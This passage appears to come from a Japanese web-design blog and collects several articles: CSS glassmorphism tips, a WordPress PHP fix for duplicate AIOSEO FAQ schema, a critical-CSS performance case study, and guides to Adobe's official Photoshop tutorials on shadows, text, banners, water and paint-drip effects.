26（ネイティブ）Web（CSS）背景のぼかし動的に調整backdrop-filterで固定値屈折効果物理ベースレンダリング擬似的にblur+透明度で再現光の反射ジャイロ連動CSS gradientやJSで疑似的に可能パフォーマンスOS最適化済みGPUアクセラレーション依存深度の重なり自動z-indexとblur値を手動で設計 注意点（UI的な観点） 実際のサイトで多用すると、背景の揺れやblur効果で酔いやすくなることがあります。特にCodePenなどのデモで複数配置すると視覚的に負担が大きいので、ワンポイントで使うのが最適です。 パフォーマンスの注意点 backdrop-filterはGPUアクセラレーションが効きますが、乱用するとモバイル端末でカクつく原因になります。 実測の目安 ガラス要素1〜3個：ほぼ影響なし ガラス要素5個以上を同時表示：古いiPhoneやAndroid端末でFPS低下 スクロール中のblur再計算：will-changeプロパティで軽減可能 最適化のコツ .liquid-glass { will-change: backdrop-filter; /* GPUレイヤーを事前に確保 */ contain: layout style paint; /* レイアウト再計算の範囲を限定 */ } 実案件では、Liquid Glass表現はページ内1〜2箇所のアクセント使いが現実的です。ヒーローセクションのカードやCTAボタンなど、目立たせたいポイントに絞って使いましょう。 ガラスモーフィズムとニューモーフィズムの違い ガラスモーフィズム（Glassmorphism）とニューモーフィズム（Neumorphism）は、どちらも2020年代のWebデザイントレンドですが、表現方法とユースケースが異なります。 比較項目ガラスモーフィズムニューモーフィズム主な効果背景の透過・ぼかし凹凸のある立体感CSSプロパティbackdrop-filter, background: rgba()box-shadow（light + dark）背景への依存必須（背景が透けて見える）不要（単色背景で成立）適したUI要素カード、モーダル、ナビゲーションボタン、トグル、入力欄アクセシビリティコントラスト比に注意が必要凹凸の視認性が課題ブラウザ対応主要ブラウザ対応済み全ブラウザで動作 ガラスモーフィズムは「透明感と奥行き」、ニューモーフィズムは「物理的な質感」を表現するデザインパターンです。iOS 26のLiquid Glassはガラスモーフィズムの延長線上にあり、現在のUIトレンドではガラスモーフィズムがより広く採用されています。 backdrop-filterが効かないときの対処法 backdrop-filterを使ったガラスモーフィズムが期待通りに表示されない場合、以下のポイントを確認しましょう。 背景が透過しない場合 背景色がrgba()でない： background: #fffなど不透明色を指定するとblurが見えなくなる。 ### [AIOSEOのFAQスキーマと自作FAQが競合したときの解決方法](https://codequest.work/aioseo-faq-schema-conflict-fix/) 背景 WordPressでFAQを実装する際、AIOSEO（All in One SEO） を使っていると自動的にFAQの構造化データ（JSON-LD）が出力されます。一方で、テーマ側で独自にFAQスキーマを出していると「同じページにFAQスキーマが二重に出力」されるケースがあり、SEO的に好ましくありません。 そこで、AIOSEOのFAQスキーマを停止し、テーマ側で1つだけJSON-LDを出力する方法を紹介します。 解決方法 1. AIOSEOのFAQスキーマを止める 以下をテーマのfunctions.phpに追記します。 // AIOSEOのFAQスキーマを無効化 add_filter('aioseo_faq_schema', '__return_false'); add_filter('aioseo_faq_jsonld', '__return_false'); add_filter('aioseo_faq_structured_data', '__return_false'); これでAIOSEO側の出力は止まります。 2. 自作FAQスキーマを出力する 記事本文からFAQを拾い、JSON-LDとして出力します。以下をfunctions.phpに追加してください。 // FAQスキーマを出力 function my_faq_jsonld() { if (!is_singular('post')) return; global $post; $content = apply_filters('the_content', $post->post_content); $faqs = []; // FAQブロック(.faq内のh3を質問、直後の段落を回答とする) if (preg_match_all('/<h3[^>]*>(.*?)<\/h3>(.*?)<p>(.*?)<\/p>/is', $content, $matches, PREG_SET_ORDER)) { foreach ($matches as $m) { $q = trim(strip_tags($m[1])); $a = trim(strip_tags($m[3])); if ($q && $a) { $faqs[] = [ '@type' => 'Question', 'name' => $q, 'acceptedAnswer' => [ '@type' => 'Answer', 'text' => $a ] ]; } } } if (empty($faqs)) return; $json = [ '@context' => 'https://schema.org', '@type' => 'FAQPage', 'mainEntity' => $faqs ]; echo '<script type="application/ld+json">' . wp_json_encode($json, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . '</script>'; } add_action('wp_head', 'my_faq_jsonld'); 3. FAQの記述例 記事本文に以下のように書いておけば、自動的にJSON-LDが出力されます。 <div class="faq"> <h3>Q. サービスの料金は？</h3> <p>基本プランは月額5,000円です。</p> <h3>Q. 解約はできますか？</h3> <p>いつでも解約可能です。追加費用はかかりません。</p> </div> 4. 確認方法 ブラウザでページのソースを表示し、FAQPageで検索 schema.orgのSchema Markup ValidatorでFAQPageが1つだけ検出されるか確認（GoogleのリッチリザルトテストはFAQサポートを2026年6月に終了したため、FAQの検証には使えません） まとめ AIOSEOはFAQスキーマを自動出力するため、自作と干渉する可能性がある add_filterでAIOSEO側を停止 wp_headで1つだけFAQ JSON-LDを出力 これで検索エンジンに正しくFAQ構造化データを伝えられます。 自分のサイトのSEO状態を今すぐチェックしたい方は 無料SEOチェッカー をお試しください。 📚 あわせて読みたい：AIOSEOを使わずに自作する選択肢 → WordPressのSEOを自作するメリット・デメリット ### [クリティカルCSSとインラインCSSの最適化でLCP・FCP・CLSを改善！](https://codequest.work/critical-css-inline-css-case-study/) はじめに「クリティカルCSSとインラインCSSとの違い」 Webサイトの表示速度はSEOにもユーザー体験にも直結します。クリティカルCSSとインラインCSSの違いをご存じでしょうか。前者は「必要最小限のスタイルを先に適用」、後者は「HTML内に直接スタイルを埋め込む」手法です。今回この2つを組み合わせて最適化を行った結果、Core Web Vitals（LCP・FCP・CLS）が大幅に改善しました。その効果を実測データとともに解説します。 🚀 クリティカルCSSとインラインCSSによるCore Web Vitals改善事例と実測効果 LCP（Largest Contentful Paint） Before: 全CSSファイル（15〜20KB）を読み込み後にレンダリング開始 After: クリティカルCSS（8〜10KB）だけで即レンダリング開始 改善効果: 約30〜50%改善 FCP（First Contentful Paint） Before: 外部CSSの読み込み待ち After: インラインCSSで即描画 改善効果: 200〜500msの高速化 CLS（Cumulative Layout Shift） レイアウトシフトを最小化 ファーストビューが安定して表示 実測データ（モバイル） 最適化の結果、モバイル環境でのPageSpeed Insightsスコアは以下の通りになりました。 CLS: 0（完全解消） パフォーマンススコア: 98点 FCP: 1.1秒 LCP: 1.6秒 TBT: 140ms Speed Index: 1.6秒 技術的な実装ポイント レンダリングブロッキングの解消 <!-- Before --> <link rel="stylesheet" href="styles.css"> <!-- After --> <style id="critical-css">/* インラインCSS */</style> <link rel="preload" href="non-critical.css" as="style" onload="this.rel='stylesheet'"> リソースヒントの活用 <link rel="dns-prefetch" href="//www.googletagmanager.com"> <link rel="preconnect" href="https://fonts.googleapis.com"> CSS圧縮の自動化（PHP例） $critical_css = preg_replace('/\/\*.*?\*\//s', '', $critical_css); $critical_css = preg_replace('/\s+/', ' ', $critical_css); ビジネス面での効果 SEO向上: Core Web Vitals改善はランキング要因に直結 CV率向上: 読み込み1秒短縮で最大7%のコンバージョン改善 コスト削減: サーバー負荷・CDN利用量を抑制 効果が特に大きいシーン 初回訪問者: キャッシュなしでも即表示 モバイルユーザー: 低速回線で体感速度アップ 検索エンジン: クロール効率の改善 まとめ クリティカルCSSとインラインCSSを最適化することで、LCP・FCP・CLSの改善とPageSpeed Insightsスコアの向上を同時に実現できました。SEO効果・ユーザー体験・コンバージョン率に直結する施策なので、特にCore Web Vitalsを意識するWebサイトではぜひ導入を検討してみてください。 Google公式Core Web Vitals PageSpeed Insights よくある質問（FAQ） Q. クリティカルCSSとは何ですか？ クリティカルCSSとは、ファーストビュー（スクロールせずに見える領域）の表示に必要な最小限のCSSのことです。このCSSをHTML内にインライン化することで、外部CSSファイルの読み込みを待たずにファーストビューを描画でき、LCPの大幅な改善が期待できます。 Q. インラインCSSは本当にパフォーマンスに効果がありますか？ はい。クリティカルCSSのインライン化はLCP（最大コンテンツ描画時間）とFCP（最初のコンテンツ描画時間）の改善に最も効果的な手法の一つです。外部CSSのリクエスト往復時間を省略でき、特にモバイル環境で大きな改善効果があります。 Q. クリティカルCSSの抽出方法は？ CriticalやPenthouseなどのNode.jsツールで自動抽出するか、手動でファーストビュー表示に必要なCSSルールを特定します。build.shなどのビルドスクリプトに組み込んで自動化するのが実務での一般的なアプローチです。 ### [【Photoshopエフェクト編】生成AIで泡を作り光を加える方法](https://codequest.work/photoshop-genai-bubble-light-tutorial/) はじめに Photoshopの最新機能「生成AI」を使えば、これまでにない表現を短時間で実現できます。その魅力を体験できるのがAdobe公式のチュートリアルです。 今回は「生成AIで泡を作り光を加える方法」を実際に試してみた様子をご紹介します。 Adobe公式「生成AIで泡を作り光を加える」チュートリアルとは？ Adobe公式サイトで公開されているチュートリアルのひとつで、生成AIを使って泡を作り出し、さらに光の効果を加える方法を学べます。写真やデザインに幻想的な雰囲気を与えることができ、SNSや広告バナーの演出にも役立つ内容です。 ▶ 公式チュートリアルはこちらAdobe公式：生成AIで泡を作り光を加える方法 実際にやってみた流れ チュートリアルの手順に沿って進めると、以下の流れで完成しました。 ベースとなる画像を用意 生成塗りつぶし（生成AI）を使って泡を作成 光の効果を追加して演出 彩度や明るさを調整して仕上げ 数ステップで完成度の高いビジュアルが作れるのが魅力です。 学べるポイント このチュートリアルでは、以下のようなスキルを学べます。 生成AIの基本操作：選択範囲を指定して泡を生成 光のエフェクト追加：シンプルな操作で幻想的な効果をプラス 仕上げの調整：彩度や明るさを整えて自然に見せる 初心者でも直感的に操作できるため、AI機能の入門として最適です。 応用のアイデア 商品写真に泡や光を加えて印象的に見せる イベント告知のビジュアルで背景演出に活用 他のエフェクトと組み合わせてオリジナリティを出す 応用次第で幅広いデザインに取り入れられます。 まとめ Adobe公式「生成AIで泡を作り光を加える方法」チュートリアルは、初心者でも最新のAI機能を体験できる内容でした。短時間で雰囲気を大きく変えられるため、これからPhotoshopを学ぶ方やSNS・広告デザインに活用したい方におすすめです。 よくある質問（FAQ） Q. Photoshopの生成AIで泡を作るにはどうすればいいですか？ Photoshop 2024以降の「生成塗りつぶし（Generative Fill）」機能を使い、選択範囲を作成してプロンプトに「bubbles」と入力します。AIが自動的にリアルな泡を生成してくれるため、手作業でブラシを使うよりも短時間で自然な仕上がりが得られます。 Q. Photoshopの生成AI機能は無料で使えますか？ Photoshopの生成AI機能（Adobe Firefly搭載）は、Adobe Creative Cloudのサブスクリプションに含まれています。無料体験版でも7日間は利用可能ですが、継続利用には有料プランへの加入が必要です。生成クレジットには月ごとの上限があり、プランによって付与数が異なります。 Q. 生成AIで作成した泡に光の効果を加える方法は？ レイヤースタイルの「光彩（外側）」や「覆い焼きカラー」のブレンドモードを使い、泡に光沢感を加えます。また、新規レイヤーを作成してソフトブラシで白いハイライトを描き、不透明度を調整することで、より自然な光の反射を表現できます。 ### [【Photoshopエフェクト編】影を作って立体感を出す方法](https://codequest.work/photoshop-create-shadows-tutorial/) はじめに Photoshopでデザインをするとき、ちょっとした工夫で大きな違いが出るのが「影（シャドウ）」の表現です。文字や写真に影を加えるだけで、立体感やリアリティが生まれます。 今回はAdobe公式チュートリアル「影の作り方」を実際に試してみたのでご紹介します。 Adobe公式「影の作り方」チュートリアルとは？ Adobe公式が提供している学習コンテンツのひとつで、テキストや画像に影を追加し、自然な奥行きを演出する方法を学べます。 ▶ 公式チュートリアルはこちらAdobe公式：影の作り方 実際にやってみた流れ チュートリアルに沿って操作すると、以下の手順で影を追加できました。 テキストまたは画像を配置 レイヤースタイルから「ドロップシャドウ」を選択 距離や角度を調整して影を設定 透明度やぼかしを加えて自然に仕上げる 数ステップでデザインの完成度がぐっと上がります。 学べるポイント ドロップシャドウの基本操作：影の距離・角度・ぼかしを調整 立体感の演出：文字や写真を浮き上がらせるテクニック デザイン応用：バナーや見出しを強調する実用的なスキル 応用のアイデア 広告バナーでキャッチコピーを目立たせる SNS投稿画像に立体感を加える 合成写真で被写体を背景になじませる まとめ Adobe公式「影の作り方」チュートリアルは、Photoshop初心者でもすぐに活用できる実用的なテクニックです。わずかな調整でデザインが洗練されるため、独学の最初の一歩としてもおすすめです。 よくある質問（FAQ） Q. Photoshopで影をつける一番簡単な方法は？ レイヤースタイルの「ドロップシャドウ」を使うのが最も簡単です。対象のレイヤーをダブルクリックしてレイヤースタイルを開き、ドロップシャドウにチェックを入れるだけで影が追加されます。角度・距離・サイズのパラメータを調整して、自然な影の見た目に仕上げます。 Q. Photoshopでリアルな影を作るコツは？ 影の不透明度を30〜50%程度に抑え、ぼかし（サイズ）を適度に入れることがポイントです。また、影の色を真っ黒ではなくダークグレーや環境色に合わせた暗色にすると、より自然な仕上がりになります。光源の方向を意識して角度を設定することも重要です。 Q. ドロップシャドウとキャストシャドウの違いは何ですか？ ドロップシャドウはオブジェクトの背面に単純な影を落とす効果で、レイヤースタイルから簡単に適用できます。一方キャストシャドウは、光源の角度に応じて地面や壁に投影される影を指し、変形ツールで影の形を調整して作成します。よりリアルな立体表現にはキャストシャドウが効果的です。 ### [【Photoshop文字加工・バナー編】色変更・分割回転・画像合成テクニック完全ガイド](https://codequest.work/photoshop-text-color-change-tutorial/) はじめに Photoshopの文字加工やバナー制作は、Webデザインの現場で頻繁に求められるスキルです。この記事では、Adobe公式チュートリアルをもとに「文字の色変更」「文字の分割回転」「バナー用画像合成」の3つのテクニックをまとめて解説します。 初心者でもすぐに実践できる内容ばかりなので、Photoshopでのデザイン力を総合的に高めたい方におすすめです。 1つのレイヤー内で文字の色を変える方法 キャッチコピーやバナーで「文字の一部だけ色を変えたい」場面は多くあります。Adobe公式チュートリアルでは、1つのテキストレイヤー内で特定の文字や単語の色を変更する方法を学べます。 ▶ 公式チュートリアルはこちらAdobe公式：1つのレイヤー内で文字の色を変える方法 操作の流れ テキストを入力 対象となる文字をドラッグで選択 カラーパネルから色を指定 確定して変更を反映 数ステップで見た目に変化をつけられるため、初心者でも迷わず進められます。 学べるポイント 文字単位での色変更：強調やアクセントを入れるテクニック レイヤー管理の理解：1つのレイヤー内で編集する考え方 デザイン応用：キャッチコピーやタイトルをより目立たせる方法 文字を分割して自由に回転させるデザイン方法 文字に動きを加えるだけで、デザインの印象は大きく変わります。Adobe公式チュートリアルでは、テキストを分割して各文字を個別に回転させる方法を学べます。 ▶ 公式チュートリアルはこちらAdobe公式：文字を分割して回転させる方法 操作の流れ テキストを入力 テキストをシェイプに変換 各文字を選択して分割 回転ツールで自由に角度をつける ほんの数ステップで、文字に個性を出すことができます。 学べるポイント テキストのシェイプ変換：文字を個別に操作するための基本 回転ツールの使い方：自由なレイアウトを作るための操作 デザインの応用：文字に動きを加えて視覚的に楽しい表現にする バナー制作のための画像合成テクニック Webデザインに欠かせないバナー制作では、写真やテキストを組み合わせて魅力的なビジュアルを作る力が求められます。Adobe公式チュートリアルでは、複数の画像を合成して広告バナーを制作する方法を学べます。 ▶ 公式チュートリアルはこちらAdobe公式：バナー制作のための画像合成テクニック 操作の流れ 背景となる画像を配置 別の写真を切り抜き、レイアウトに追加 カラー調整で全体のトーンを統一 テキストを加えてバナーとして仕上げ デザインの基本プロセスを体験できるので、実務をイメージしやすい内容です。 学べるポイント 複数画像の合成：違和感のないように組み合わせる方法 色調整と補正：全体の雰囲気をそろえる基本テクニック テキストの配置：広告としての見やすさや訴求力を意識 3つのテクニックの応用アイデア これらのテクニックを組み合わせることで、より実践的なデザインが可能になります。 広告バナーでセールワードだけ赤色にして訴求力を高める ロゴや見出しに回転文字を使って印象的なデザインにする ECサイトの商品バナーで画像合成とテキスト装飾を組み合わせる SNS投稿やキャンペーン用ビジュアルで複数テクニックを活用 ポスターやフライヤーで文字の色・角度・合成をフル活用する まとめ 今回紹介した3つのAdobe公式チュートリアルは、いずれもPhotoshop初心者が短時間で実践できる内容です。 文字の色変更：レイヤー内での部分的な色指定 文字の分割回転：シェイプ変換と回転で動きのある表現 バナー画像合成：複数素材の合成から仕上げまでの基本フロー 文字加工とバナー制作の基礎を一度に学べるので、Photoshopでのデザインスキルを総合的に高めたい方はぜひ試してみてください。 よくある質問（FAQ） Q. Photoshopで文字の色を部分的に変更する方法は？ テキストレイヤーを選択し、変更したい文字部分をドラッグして選択した状態で、オプションバーのカラーピッカーから色を指定します。また、レイヤーマスクとクリッピングマスクを組み合わせることで、グラデーションや画像を文字の一部に適用することも可能です。 Q. Photoshopで文字を分割して回転させるには？ テキストをシェイプに変換（テキストレイヤーを右クリック→「シェイプに変換」）した後、パス選択ツールで個別の文字を選択して回転や移動を行います。テキストのまま回転させたい場合は、1文字ずつ別レイヤーに分けて個別に自由変形（Ctrl+T）で回転させる方法もあります。 Q. Photoshopでバナー画像を合成する基本手順は？ まずカンバスサイズを設定し、背景素材を配置します。次に商品画像やテキストを別レイヤーとして追加し、レイヤーマスクで不要部分を非表示にします。最後にレイヤー効果（シャドウ・光彩など）で仕上げ、書き出し形式（JPG/PNG/WebP）を選んで保存します。 ### [【Photoshopバナーデザイン編】効果的なデザインのための4つの基本テクニック](https://codequest.work/photoshop-banner-design-techniques/) はじめに WebサイトやSNSでよく目にする「バナー」。限られたスペースの中で情報を伝えるには、デザインの基本を押さえることが欠かせません。Adobe公式チュートリアルでは、バナー制作の基礎を効率よく学ぶことができます。 今回は「効果的なバナーデザインのための4つの基本テクニック」を実際に試してみた様子をご紹介します。 Adobe公式「バナーデザイン4つのテクニック」とは？ Adobe公式サイトで公開されているチュートリアルのひとつで、バナー制作の基本を4つの観点から解説しています。 ▶ 公式チュートリアルはこちらAdobe公式：効果的なバナーデザインのための4つの基本テクニック 実際にやってみた4つのテクニック チュートリアルを通じて学べるのは、以下の4つのポイントです。 画像とテキストのバランス写真を活かしつつ、文字がしっかり読める配置を意識する。 強調すべき要素を目立たせるセール情報やキャッチコピーを視線の流れに沿って配置。 カラーの活用ブランドカラーや補色を使い、視認性を高める。 サイズや比率の調整バナー枠に合わせた最適な比率で整える。 学べるポイント このチュートリアルで得られる学びは以下の通りです。 レイアウトの基本：画像・文字・色のバランス感覚を養える 訴求力の強化：重要情報を効果的に配置する方法 実務を意識した作業：広告・EC・SNSに直結するバナー作成の流れ 初心者が実際の案件を想定して練習できるのが魅力です。 応用のアイデア ECサイトのセールバナーを作る練習に活用 複数パターンを作成してABテストを意識 他のチュートリアル（合成・水の効果など）と組み合わせてクオリティを高める まとめ Adobe公式「効果的なバナーデザインのための4つの基本テクニック」チュートリアルは、初心者でもすぐに実務を意識した練習ができる内容でした。短時間でレイアウト・色・文字配置などの基本を理解できるため、バナー制作をこれから始めたい方に特におすすめです。 Photoshopの基礎を学びながら、実際のデザインワークに役立てていきましょう。 よくある質問（FAQ） Q. バナーデザインで最も重要なポイントは？ 視線の誘導（ビジュアルヒエラルキー）が最も重要です。メインメッセージを最も目立つ位置・サイズで配置し、サブ情報やCTAボタンを適切な優先順位で配置します。情報の優先度に応じてフォントサイズ・色・余白を調整することで、ユーザーが瞬時にメッセージを理解できるバナーになります。 Q. Photoshopでバナーを作る際のおすすめサイズは？ Web広告の場合、Google広告で最も使用頻度が高いのは300×250px（ミディアムレクタングル）と728×90px（リーダーボード）です。SNS用バナーはプラットフォームごとに推奨サイズが異なり、Instagram投稿は1080×1080px、Twitterヘッダーは1500×500pxが標準です。用途に合わせたサイズ設定が重要です。 Q. バナーデザインの配色で気をつけることは？ 使用する色は3色以内（ベースカラー70%・メインカラー25%・アクセントカラー5%）に抑えると統一感が出ます。CTAボタンにはメインカラーの補色や高コントラストの色を使い、背景とテキストのコントラスト比はWCAG基準の4.5:1以上を確保してください。ブランドカラーがある場合はそれを軸に配色を組み立てます。 👉 シリーズ「Photoshop初心者のための公式チュートリアル活用法」として、今後も学習に役立つ練習記事をご紹介していきます。 ### [【Photoshopエフェクト編】水のエフェクトはAdobe公式チュートリアルで学ぶ](https://codequest.work/photoshop-water-effects-tutorial/) Photoshopの水・液体エフェクトとは、水しぶき・水滴・湯気・水面の映り込みといった「水の見え方」を、素材の合成やフィルターで写真やイラストに足す表現のことです。この分野は、Adobe公式が日本語のチュートリアルを公開しているため、手順そのものは公式をたどるのが最短になります。 ただし、公式の水まわりのチュートリアルには形式が2種類あり、そのうち一方はPhotoshopを起動しないとページ上では手順が1行も読めません。リンクを開いてから「読めるものだと思っていたのに読めなかった」となりやすいのは、この違いが公式ページ上部のラベルにしか書かれていないためです。 この記事は、手順を自前で作り直すのではなく、公式のどのチュートリアルを開けばよいかを先に決めるための案内です。あわせて、公式チュートリアルの中に説明なしで出てくる描画モードとフィルターの名前を、Adobe公式ヘルプの記述で先に押さえておきます。ここまで把握してから公式を開くと、途中で手が止まりません。 本記事に書いたAdobe公式の記述は、いずれも2026年8月2日にブラウザで実際に開いて確認した内容です。Photoshopのメニュー名や画面はバージョンによって変わることがあるため、最終的な表示は手元のバージョンを正としてください。 Adobe公式の「水」まわりチュートリアルの全体像 Adobe公式のPhotoshopラーニングには、水を題材にしたチュートリアルが互いにリンクし合う形で置かれています。題材が「水しぶき」「水滴」「湯気」「水面」と分かれていて、レベルと所要時間も違います。まず、自分が作りたいものがどれに当たるかを決めます。 チュートリアル名形式・レベル・所要扱う題材水のエフェクトを追加して迫力のある画像を作る実践チュートリアル／初級／1分写真に水のエフェクトを足して迫力を出す水滴を合成する方法実践チュートリアル／初級／2分飲み物の写真に水滴を合成して結露を作り、冷たさを出す湯気を合成する方法実践チュートリアル／初級／2分コーヒーカップの写真に湯気を合成する水面の映り込みを演出する方法チュートリアル記事／上級／5分イラストに水面素材と映り込みを作り込む 形式・レベル・所要時間は、各ページの上部に表示されている値です。公開日は「水のエフェクトを追加して迫力のある画像を作る」と「水滴を合成する方法」が2022年6月27日、「湯気を合成する方法」が2022年4月29日、「水面の映り込みを演出する方法」が2022年5月20日と表示されています。 水そのものではなく、垂れて広がる液体の質感を作りたい場合は題材が変わります。絵具が垂れる表現は Photoshopで絵具の垂れを作る方法 の側で扱っているので、そちらを起点にしたほうが遠回りになりません。 「実践チュートリアル」と「チュートリアル記事」は別物 Adobe公式のチュートリアルには、ページ上部に「実践チュートリアル」または「チュートリアル記事」というラベルが付いています。この2語は難易度の話ではなく、手順がどこに書かれているかの違いです。開く前にラベルを見ておけば、Photoshopを起動すべきかどうかが先に分かります。 見分ける手がかり実践チュートリアルチュートリアル記事ページ上部のラベル「実践チュートリアル」「チュートリアル記事」Webページ本体の中身概要文と「アプリ内ガイダンスで学ぶ」の案内だけ手順が番号付きで最後まで載る手順の読み方Photoshopを起動し、画面内に出るガイドを進めるブラウザだけで読み切れる設定値・数値ページには書かれていない数値まで本文に書かれている向いている使い方手を動かしながら操作を覚える先に読んで段取りを決める 実践チュートリアルは、開いても手順が読めない 「水のエフェクトを追加して迫力のある画像を作る」「水滴を合成する方法」「湯気を合成する方法」の3本は、いずれも実践チュートリアルです。ページを開くと、題材の説明に続いて「アプリ内ガイダンスで学ぶ／インターフェイスを紹介するステップごとのガイドが表示されます」という案内と、「チュートリアルを Photoshop で開始」のボタンが出るだけで、操作手順はWebページ上に掲載されていません。 つまりこの3本は「読む教材」ではなく、Photoshopの画面の上にガイドを重ねて進める教材です。Photoshopが手元にない状態でブックマークしても、後から手順を読み返すことはできません。所要時間が1〜2分と短いのも、読むぶんの時間が入っていないためです。 チュートリアル記事は、数値まで読み切れる 一方、「水面の映り込みを演出する方法」はチュートリアル記事です。イラストレーターのRella氏による解説で、手順1/6から手順6/6まで、メニュー階層と設定値が本文に書かれています。水面素材を一から作り、イラストに映り込みを付けて仕上げるまでが1ページに収まっています。 どの程度まで書かれているかというと、たとえば手順1では新規ファイルのサイズ、ノイズを加えるときの量と分布、そのあとにかけるぼかしの半径まで具体的な数値が指定されています。実践チュートリアルの3本とは情報量が根本的に違うので、ブラウザで読んで段取りを把握したい場合はこの1本を選びます。数値と正確な操作順はAdobe公式の水面の映り込みを演出する方法で確認してください。 読む前に押さえておきたい点として、このチュートリアルは難易度が「上級」と表示されています。チャンネルパネル、クリッピングマスク、置き換えフィルターといった機能が説明なしで前提になっているため、Photoshopを触り始めたばかりの段階だと手が止まります。 公式を開く前に用意しておくもの 公式チュートリアルは、素材や下ごしらえが揃っている前提で進みます。途中で素材を探しに行くと流れが切れるので、開く前に揃えておきます。必要なものは形式によって変わります。 実践チュートリアルを始める前に Photoshopがインストールされ、起動できる状態であること。ガイドはPhotoshopの画面上に表示されるため、ブラウザだけでは進められません 合成先になる写真。「水滴を合成する方法」は飲み物の写真、「湯気を合成する方法」はコーヒーカップの写真が題材です 重ねる側の素材（水滴や湯気の写真）。公式は写真どうしの合成として説明しています 手順を残したい場合の記録手段。ページ側に手順が残らないため、あとで再現したいなら操作中にメモを取っておきます 水面の映り込みに進む前に 「水面の映り込みを演出する方法」は、手順4の中で前提となるファイルの作り方を注意書きとして指定しています。ここを満たしていないと手順4以降が成立しないため、読み始める前に用意しておくのが確実です。 映り込みを作りたいイラスト。人物や背景のレイヤーをあらかじめ分けておくよう公式が指定しています 水面の範囲となる部分を塗りつぶしたレイヤー。これも公式の注意書きで求められています 水面素材を作るための空きファイル。手順1から3で素材を別ファイルとして作り、保存してから本編で読み込む流れです チャンネルパネルとクリッピングマスクの基本操作。上級向けのため、これらの説明は省略されています 合成物を画面になじませるという意味では、水と影は同じ問題を扱っています。光源の向きに合わせて落ち影を作る側の話は Photoshopで影を付けて立体感を出す方法 にまとめてあります。 チュートリアルに出てくる用語の下ごしらえ 水の合成では、描画モードとフィルターの名前が説明なしで出てきます。名前が似ていて取り違えやすいものが多いため、Adobe公式ヘルプに書かれている説明を先に押さえておきます。以下はいずれも公式ヘルプの記述で、憶測は含みません。 描画モード 描画モードAdobe公式の説明水を重ねるときの意味スクリーン合成色と基本色を反転したカラーを乗算する。結果は明るいカラーになる。黒でスクリーニングすると色は変わらず、白でスクリーニングすると白になる黒い背景の素材を重ねたとき、黒い部分が下地の色を変えない覆い焼きカラー基本色を明るくしてコントラストを下げ、合成色を反映する。ブラックと合成しても変化はない明るい部分をより強く出したいときオーバーレイ基本色に応じてカラーを乗算またはスクリーンする。基本色のハイライトとシャドウを保持しながら重ねる下地の明暗を残したまま質感だけ足したいとき 出典は、Adobe公式ヘルプ「Photoshop の描画モードの説明」（最終更新日 2025年12月2日／2026年8月2日確認）です。右列の「水を重ねるときの意味」は、公式の説明から読み取れる使いどころを言い換えたもので、公式がその用途を明示しているわけではありません。 名前が紛らわしいフィルター フィルターAdobe公式の説明呼び出し場所海の波紋画像の表面にランダムな間隔の波紋を加え、水面下にある画像を見ているような効果を出すフィルターギャラリーガラス様々な種類のガラスを通して見たような効果を与える。拡大と縮小、ゆがみおよび滑らかさの設定を調整できるフィルターギャラリー波紋池の水面にできたさざ波のような、波打つパターンを選択範囲に作り出す変形フィルター波形波紋フィルターと同じように機能するが、より精細に調整できる。波数・波長・振幅・波形の種類を指定できる変形フィルター置き換え置き換えマップと呼ばれる画像を使用して、選択範囲を変形させる方法を指定する変形フィルターゆがみピクセルをプッシュ、取り込み、収縮、膨張させるためのインタラクティブなワークスペース。主な用途はポートレートの特徴調整、アーティスティックなゆがみ、誇張されたデザイン効果専用ワークスペース ここで取り違えやすいのが「ガラス」と「海の波紋」です。公式が「水面下にある画像を見ているような効果」と説明しているのは「海の波紋」のほうで、「ガラス」の説明は「様々な種類のガラスを通して見たような効果」です。水中から見上げたような屈折を狙うなら、選ぶのは「海の波紋」になります。 もう1つ、「ガラス」の説明に出てくる「ゆがみ」は設定項目の名前です。公式は「拡大と縮小、ゆがみおよび滑らかさの設定を調整できます」と書いており、拡大と縮小・滑らかさと並ぶ調整値を指します。同名の「ゆがみフィルター」とも、選べるテクスチャの名前とも別のものなので、混同しないようにします。 なお「置き換え」は、公式ヘルプのフィルター効果リファレンスでは古い訳のまま別の名称で載っていますが、公式チュートリアル「水面の映り込みを演出する方法」および現行のメニューでは「置き換え」と表記されています。上の表は後者に揃えました。出典は「Photoshop フィルター効果リファレンス」（最終更新日 2024年10月14日）と「Photoshop でのゆがみフィルターの概要」（最終更新日 2025年12月2日）で、どちらも2026年8月2日に確認しています。 フィルターが選べないときに確認する3点 チュートリアルどおりに進めているのにメニューのフィルターが薄い表示になって選べない、という詰まり方があります。この場合の確認先はAdobe公式ヘルプが明示しています。「フィルターが使用できない場合は、ドキュメントのカラーモード、ビット深度、またはレイヤーの種類を確認してください」との記述です。 カラーモード。公式は「一部のフィルターは、RGB カラーなど、特定のカラーモードでのみ使用可能です」としています ビット深度 レイヤーの種類 ビット深度については、公式のフィルター効果リファレンスが16 bit／チャンネルおよび32 bit／チャンネルのドキュメントをサポートするフィルターを列挙しており、その中に「すべての変形フィルター」と「ノイズ／ノイズを加えるフィルター」が含まれています。上の表に挙げた波紋・波形・置き換え・海の波紋・ガラスは変形フィルターに属します。 ### [【Photoshopペイント編】ペイントドリップ加工を試してみよう！](https://codequest.work/photoshop-paint-drip-tutorial/) ペイントドリップ加工とは、写真や文字の一部から絵具が滴り落ちているように見せるPhotoshopの表現手法です。Adobe公式のチュートリアルでは、ドリップ（滴り）の写真をカスタムブラシとして登録し、それを文字に塗り重ねる流れで紹介されています。 この加工は「垂れ」を作る方法が一つではなく、ブラシで足すのか、マスクで削るのか、フィルターで引き伸ばすのかで工程がまるごと変わります。そのため「手順を1本だけ覚える」よりも、どの方向性を選んでいるのかを把握し、できあがりが正しいかを自分で判定できるようにするほうが再現性が高くなります。 この記事では、ペイントドリップ加工が何を作る技法なのか、Adobe公式チュートリアルで確認できる流れはどれか、そして自分で作ったときに「これで合っているか」をどう検証するかを整理します。メニュー名やパネル構成はPhotoshopのバージョンで変わるため、操作の一次情報はAdobe公式に置き、この記事では公式が扱っていない検証の部分を厚めに扱います。 ペイントドリップ加工は何を作る表現か ペイントドリップ加工は、対象の下端から液体が伝って落ちていく途中の形を作り、対象と背景の境界をわざと崩す表現です。輪郭がきれいに切り取られた状態を「整った状態」とするなら、ドリップはその逆で、境界を壊すことで手描きの生っぽさやストリート感を出します。 